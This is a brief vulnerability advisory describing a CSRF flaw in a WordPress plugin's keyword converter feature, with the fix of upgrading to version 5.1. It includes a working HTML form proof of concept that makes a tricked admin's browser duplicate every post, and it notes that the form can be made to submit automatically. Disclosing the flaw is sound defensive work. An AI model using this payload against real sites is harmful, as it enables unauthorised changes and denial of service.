Vulnerability
================
There is a CSRF vulnerability in Tooltipyas aKTTG Convertera feature which allows anybody able to convince an admin to follow a link to duplicate posts. The PoC provided below allows duplicating every post with post_type post. The most obvious malicious use of this vulnerability would be to fill up a disk or database quota which might lead to denial of service or other issues.

Proof of concept
================
Open a page containing the following HTML, and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=my_keywords_settings_importer\">
<input type=\"text\" name=\"go\" value=\"true\">
<input type=\"text\" name=\"bluet_posttypes_list\" value=\"post\">
<input type=\"submit\">
</form>
Every post with post_type post will have been duplicated.
In a real attack, the form can be made to autosubmit.

================
Upgrade to version 5.1 or later.
